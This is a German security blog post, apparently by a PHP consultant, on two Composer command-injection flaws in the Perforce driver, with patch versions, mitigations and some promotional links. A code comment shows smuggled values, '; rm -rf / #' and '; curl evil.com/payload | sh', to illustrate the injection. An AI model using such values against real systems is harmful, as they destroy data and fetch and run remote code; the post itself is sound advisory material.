Command Injection ohne Perforce betrifft jede PHP-Pipeline
Am 14. April 2026 wurden zwei Command-Injection-Schwachstellen in Composer veröffentlicht, die jedes PHP-Projekt betreffen. Nicht "könnten betreffen". Betreffen. CVE-2026-40261 (CVSS 8.8) ermöglicht es einem Angreifer, über manipulierte Paket-Metadaten beliebige Shell-Befehle auf Ihrem Server auszuführen. Und zwar selbst dann, wenn Sie Perforce weder installiert haben noch jemals benutzt haben.
Der Angriffsvektor ist ein klassischer Supply-Chain-Angriff: Ein kompromittiertes oder bösartiges Composer-Repository liefert Paket-Metadaten, die als Source-Type "perforce" deklariert sind, mit einer präparierten Source-Reference. Beim composer install oder composer update mit --prefer-source (dem Default für dev-Versionen) führt Composer den Shell-Command aus, ohne die Eingabe zu escapen. Ohne Fehlermeldung. Ohne Bestätigung.
Betroffen sind Composer 2.0 bis 2.9.5 und der 2.2.x LTS-Branch bis 2.2.26. Die Patches sind in Composer 2.9.6 (Mainline) und 2.2.27 (LTS) verfügbar. Packagist.org hat Perforce-Metadaten vorsorglich bereits am 10. April abgeschaltet, vier Tage vor der Veröffentlichung der CVEs.
Als PHP-Entwickler mit Fokus auf Symfony- und Shopware-Projekte ist das für mich eine der kritischsten Composer-Schwachstellen der letzten Jahre. Nicht wegen der technischen Komplexität des Exploits, sondern wegen der Angriffsfläche: Jede PHP-Applikation, jede CI/CD-Pipeline, jeder Entwickler-Rechner, der composer install ausführt, war potenziell verwundbar.
Was genau gefixt wurde
CVE-2026-40261: Der gefährlichere Bug (CVSS 8.8)
Die Methode Perforce::syncCodeBase() hat den $sourceReference-Parameter direkt an einen Shell-Command angehängt, ohne Shell-Metazeichen zu escapen. Das bedeutet: Wenn ein Paket in seinen Metadaten als Source-Type "perforce" deklariert ist und eine präparierte Source-Reference enthält (etwa ; rm -rf / #), wird dieser Befehl vom Betriebssystem ausgeführt.
Der entscheidende Punkt: Die Source-Reference und die Source-URL werden als Teil der Paket-Metadaten geliefert. Jedes Composer-Repository (Packagist, Satis, Private Packagist, Custom-Repositories) kann diese Metadaten bereitstellen. Ein Angreifer muss nicht Ihren Server kompromittieren. Er muss nur ein Paket in ein Repository einschleusen, das Sie als Dependency verwenden.
CVE-2026-40176: Command Injection über composer.json (CVSS 7.8)
Die Methode Perforce::generateP4Command() hat Perforce-Verbindungsparameter (Port, User, Client) ohne Escaping in Shell-Commands interpoliert. Dieser Bug ist etwas weniger kritisch, weil er nur über die Root-composer.json oder die globale Composer-Config ausnutzbar ist, nicht über Dependencies. Trotzdem relevant: Wer an einem Open-Source-Projekt mitarbeitet und ein Repository klont, dessen composer.json manipuliert wurde, ist verwundbar.
Weitere Security-Fixes in 2.9.6
Neben den beiden CVEs hat Composer 2.9.6 weitere sicherheitsrelevante Probleme behoben:
Git-Credential-Exposure: Nach fehlgeschlagenen Clone-Operationen wurden Git-Credentials in .git/config hinterlassen. Ein Angreifer mit Lesezugriff auf das Dateisystem konnte so Repository-Zugangsdaten auslesen. Besonders kritisch in CI/CD-Umgebungen, wo Build-Artefakte manchmal unbeabsichtigt persistiert werden.
3DES-Cipher-Fallback: Wenn die PHP-Extension ext-curl fehlt, fiel Composer auf den unsicheren 3DES-Cipher zurück. Aus meiner Erfahrung mit Symfony-Projekten: ext-curl fehlt selten in Production, aber in Docker-basierten Entwicklungsumgebungen und CI-Pipelines, die auf minimale PHP-Images setzen, kommt das durchaus vor.
Branch-Name-Hardening: Branch-Namen, die mit - beginnen, konnten bei Git, Hg, Perforce und Fossil zu Problemen führen. Das Hardening verhindert, dass Branch-Namen als Command-Line-Optionen interpretiert werden.
Ist Ihre Pipeline betroffen?
Warum "Ich nutze kein Perforce" keine Entwarnung ist
Was viele unterschätzen: CVE-2026-40261 hat nichts damit zu tun, ob Sie Perforce installiert haben oder nutzen. Der Bug steckt in Composers interner Verarbeitung von Paket-Metadaten. Composer versucht, den konstruierten Shell-Command auszuführen, unabhängig davon, ob die referenzierte VCS-Software installiert ist. Der Command wird an das Betriebssystem übergeben. Was das Betriebssystem damit macht, hängt von der Shell ab, nicht von Perforce.
In der Praxis scheitert das oft an einem falschen Sicherheitsgefühl. Ein häufiger Fehler, den ich in Audits sehe: Teams prüfen, ob Perforce auf dem Server installiert ist, finden es nicht und gehen davon aus, dass sie nicht betroffen sind. Das ist falsch. Die Command Injection funktioniert über Shell-Metazeichen. Das Ergebnis ist nicht "Perforce startet", sondern "beliebiger Shell-Befehl wird ausgeführt".
Der technische Hintergrund: Die Methode syncCodeBase() in src/Composer/Util/Perforce.php hat den $sourceReference-Parameter direkt in einen Shell-String konkateniert. Ohne escapeshellarg(), ohne ProcessBuilder, ohne jede Validierung. Das ist ein Pattern, das in modernem PHP-Code eigentlich nicht mehr vorkommt. Aber Composers Perforce-Driver stammt aus einer Zeit, in der Shell-Command-Konstruktion per String-Konkatenation üblich war.
# Vereinfacht: So sah der verwundbare Code aus
# (NICHT der tatsächliche Exploit, nur das Pattern)
# Verwundbar (vor 2.9.6):
$command = 'p4 sync ' . $sourceReference;
# Wenn $sourceReference = '; curl evil.com/payload | sh'
# → Führt erst p4 sync aus (schlägt fehl, kein Perforce)
# → Führt dann curl evil.com/payload | sh aus (Payload!)
# Gefixt (ab 2.9.6):
$command = 'p4 sync ' . ProcessExecutor::escape($sourceReference);
# Shell-Metazeichen werden escaped, kein Injection möglichDie entscheidende Frage für Ihr Projekt ist: Wo läuft Composer in Ihrer Infrastruktur? Nicht nur auf dem Entwickler-Laptop. Auch in der CI/CD-Pipeline (GitHub Actions, GitLab CI, Jenkins), auf dem Staging-Server, im Docker-Build-Prozess. Jede Stelle, an der composer install oder composer update ausgeführt wird, war potenziell verwundbar.
# Composer-Version prüfen
$ composer --version
# Muss 2.9.6+ oder 2.2.27+ sein
# Update durchführen
$ composer self-update
# oder explizit:
$ composer self-update 2.9.6
# Für LTS-Branch:
$ composer self-update 2.2.27
# Prüfen ob --prefer-source aktiv ist (Risiko-Faktor):
$ composer config preferred-install
# Wenn "source": Sofort auf "dist" ändern oder updatenWelche Szenarien sind am kritischsten?
Was auf den ersten Blick wie ein exotischer Bug aussieht (wer nutzt schon Perforce mit Composer?), hat in Production Implikationen für drei konkrete Szenarien:
CI/CD-Pipelines mit --prefer-source: Viele CI-Setups verwenden --prefer-source, um immer die aktuellste Version zu installieren. Wenn die Pipeline Dependencies von externen Repositories bezieht, ist sie verwundbar. Ein kompromittiertes Paket in einer Dependency-Chain reicht aus.
Development mit Dev-Dependencies: --prefer-source ist der Default für dev-prefixed Versionen. Wer dev-master oder dev-feature-Branch-Dependencies nutzt, installiert automatisch über Source. Jede dieser Installationen war vor 2.9.6 potenziell verwundbar.
Open-Source-Contributions: Wer Repositories klont und composer install ausführt, vertraut der composer.json des Repository-Eigentümers. CVE-2026-40176 nutzt genau dieses Vertrauen aus. Ein manipuliertes Repository kann über die Root-composer.json beliebige Perforce-Parameter setzen.
Wie ich im PHP-JIT-Artikel beschrieben habe, sind stille Bugs die gefährlichsten. Hier gilt dasselbe Prinzip: Keine Fehlermeldung, kein Warning, nur ein Shell-Command, der im Hintergrund ausgeführt wird.
Ob Ihre CI/CD-Pipeline und Ihre Deployment-Prozesse sicher konfiguriert sind, erfordert eine individuelle Analyse. → Security-Audit anfragen
Praxis-Perspektive: Was tun, wenn sofortiges Update nicht möglich ist?
Sofortmaßnahmen ohne Update
Wenn ein Composer-Update in Ihrer Umgebung nicht sofort möglich ist (etwa wegen festgefrorener Pipeline-Versionen oder Freigabe-Prozessen), gibt es drei Mitigations:
--prefer-dist erzwingen: Setzen Sie in Ihrer Composer-Config preferred-install: dist. Das verhindert, dass Composer Source-Installationen durchführt, und blockiert damit den Angriffsvektor von CVE-2026-40261. Das ist der wichtigste Quick-Fix.
Nur vertrauenswürdige Repositories: Prüfen Sie Ihre composer.json auf unbekannte VCS-Repositories. Custom-Repositories ("type": "vcs") sind ein potenzieller Angriffsvektor. Wenn Sie nur Packagist verwenden, ist das Risiko geringer, weil Packagist Perforce-Metadaten seit dem 10. April deaktiviert hat.
composer.json auditieren: Vor jedem composer install auf einem neuen Projekt: Prüfen Sie, ob die composer.json Perforce-bezogene Felder enthält. Wenn ja: Nicht ausführen, bis Sie wissen, warum.
# preferred-install auf dist setzen (global):
$ composer config --global preferred-install dist
# Oder pro Projekt in composer.json:
{
"config": {
"preferred-install": "dist"
}
}
# Repositories in composer.json prüfen:
$ cat composer.json | grep -A5 '"repositories"'
# Achten Sie auf "type": "vcs" oder "type": "perforce"Ein Anti-Pattern, das ich voraussehe: Teams setzen auf --prefer-dist als Dauerlösung und vergessen das eigentliche Update. --prefer-dist mitigiert nur CVE-2026-40261, nicht CVE-2026-40176 und nicht die Git-Credential- und 3DES-Probleme. Das Update auf 2.9.6 bleibt Pflicht.
Was bedeutet das für Shopware- und Symfony-Projekte?
Shopware 6.7+ und Symfony-Projekte verwenden Composer als Standard-Paketmanager. Jedes composer install in Ihrer Deployment-Pipeline war vor 2.9.6 potenziell verwundbar. Die gute Nachricht: Wer ausschließlich Packagist und den Shopware Store als Repositories nutzt und --prefer-dist verwendet (der Default bei normalen Installationen), war dem Supply-Chain-Vektor nicht direkt ausgesetzt, weil Packagist Perforce-Metadaten abgeschaltet hat.
Trotzdem: Das Update auf Composer 2.9.6 ist für alle Projekte Pflicht. Die zusätzlichen Fixes (Git-Credentials, 3DES, Branch-Hardening) sind unabhängig von Perforce und betreffen jede PHP-Pipeline.
Docker-Images und CI-Pipelines: Die vergessene Angriffsfläche
Ein Punkt, der in der Diskussion oft untergeht: In vielen Setups wird Composer nicht manuell aktualisiert, sondern kommt als Teil eines Docker-Images oder einer CI-Pipeline-Konfiguration. Wenn Ihr Dockerfile COPY --from=composer:latest oder COPY --from=composer:2 verwendet, bekommen Sie automatisch das neueste Image. Aber wenn Ihr Image auf einer festen Version pinned ist (COPY --from=composer:2.9.5), bleibt die verwundbare Version bestehen, bis Sie das Dockerfile aktualisieren.
Dasselbe gilt für CI-Pipeline-Definitionen: GitHub Actions mit composer-version: 'latest' sind automatisch aktualisiert. GitLab CI mit einer festen Composer-Version im Runner-Image nicht. Jenkins mit einem manuell verwalteten Composer-Binary erst recht nicht.
# Dockerfile: Composer-Version prüfen und aktualisieren
# SCHLECHT (festgepinnt auf verwundbare Version):
COPY --from=composer:2.9.5 /usr/bin/composer /usr/bin/composer
# GUT (mindestens 2.9.6):
COPY --from=composer:2.9.6 /usr/bin/composer /usr/bin/composer
# BESSER (automatisch aktuellste 2.x):
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
# In der CI-Pipeline Composer-Version loggen:
$ composer --version
# Muss in jedem Build-Log sichtbar seinWie ich im KW16-Entwicklungsnews-Artikel geschrieben habe, kumulieren sich die Update-Anforderungen: PHP-Version, Symfony-Version, Doctrine-Version, Composer-Version. Eine systematische Update-Strategie ist keine Kür, sondern geschäftskritische Hygiene.
composer audit: Ihr automatisches Sicherheitsnetz
Wenn Sie composer audit noch nicht in Ihrer CI/CD-Pipeline haben, ist jetzt der richtige Zeitpunkt. Seit Composer 2.4 prüft composer audit Ihre Dependencies gegen die bekannten Security Advisories. Integrieren Sie den Befehl als festen Schritt in Ihre Pipeline, mit --locked für reproduzierbare Ergebnisse und --format=json für maschinelle Auswertung.
# In der CI-Pipeline als Build-Gate:
$ composer audit --locked --format=json
# Return Code 1 bei bekannten Vulnerabilities → Build fails
# Oder als regelmäßiger Check:
$ composer audit
# Zeigt alle bekannten Schwachstellen in Ihren DependenciesOb Ihre Deployment-Pipeline sicher konfiguriert ist, hängt von Ihrem Setup ab. → Lassen Sie uns das gemeinsam evaluieren
Zusammenfassung und Ausblick
Composer 2.9.6 behebt zwei Command-Injection-Schwachstellen, die jede PHP-Entwicklungsumgebung betreffen. Die wichtigsten Takeaways:
CVE-2026-40261 (CVSS 8.8) ist ein Supply-Chain-Angriffsvektor. Manipulierte Paket-Metadaten können beliebige Shell-Befehle auf Ihrem System ausführen. Perforce muss nicht installiert sein.
CVE-2026-40176 (CVSS 7.8) betrifft manipulierte composer.json-Dateien. Relevant für alle, die Open-Source-Projekte klonen und composer install ausführen.
Packagist hat vorsorglich gehandelt: Perforce-Metadaten wurden am 10. April deaktiviert. Wer ausschließlich Packagist mit --prefer-dist nutzt, war dem Supply-Chain-Vektor nicht direkt ausgesetzt.
Sofortmaßnahme: composer self-update 2.9.6 auf allen Systemen. In CI/CD-Pipelines, auf Entwickler-Rechnern, auf Staging- und Production-Servern.
Zusätzliche Fixes nicht vergessen: Git-Credential-Exposure, 3DES-Fallback und Branch-Name-Hardening sind unabhängig von Perforce und betreffen jede Pipeline.
Supply-Chain-Sicherheit wird 2026 zum zentralen Thema für PHP-Projekte. Die Composer-Schwachstelle reiht sich ein in eine Serie von Vorfällen (polyfill.io, xz-utils), die zeigen, dass die Dependency-Chain die Angriffsfläche ist. Regelmäßige composer audit-Checks in der CI/CD-Pipeline sind ein notwendiger erster Schritt. Aber sie ersetzen kein systematisches Security-Review der gesamten Pipeline-Konfiguration.
Die Composer-Maintainer haben schnell und transparent gehandelt: Packagist-Mitigation vor der Disclosure, klare Advisory-Dokumentation, Patches für beide Branches (Mainline und LTS). Das zeigt, dass das Ökosystem funktioniert. Aber es zeigt auch, dass die Grundlage jedes PHP-Projekts (der Paketmanager selbst) eine Angriffsfläche ist, die aktiv gewartet werden muss. Composer-Updates gehören in dieselbe Prioritätskategorie wie PHP-Updates und Framework-Updates: Nicht optional, nicht "wenn Zeit ist", sondern systematisch und zeitnah.
Für Agenturen mit mehreren Kundenprojekten empfehle ich: Erstellen Sie eine Liste aller Systeme, auf denen Composer läuft. Nicht nur die Production-Server, auch CI-Runner, Docker-Builder, Developer-Laptops. Aktualisieren Sie systematisch. Und dokumentieren Sie die Composer-Version als Teil Ihrer Infrastruktur-Dokumentation, nicht nur die PHP- und Framework-Version.
Security-Audit für Ihre PHP-Pipeline
Welche Composer-Version läuft in Ihrer CI/CD-Pipeline? Ist --prefer-source oder --prefer-dist konfiguriert? Werden Git-Credentials nach dem Build bereinigt? In einem kostenlosen Erstgespräch prüfe ich Ihre Pipeline-Konfiguration auf die häufigsten Security-Lücken und gebe konkrete Handlungsempfehlungen.
→ Pipeline Security-Check anfragen
Dennis Schwenker-Sanders ist PHP & Symfony-Entwickler mit Fokus auf Supply-Chain-Security, Deployment-Pipelines und technische Sicherheitsberatung für deutsche Agenturen und KMU. Er begleitet Teams bei der Absicherung ihrer PHP-Infrastruktur.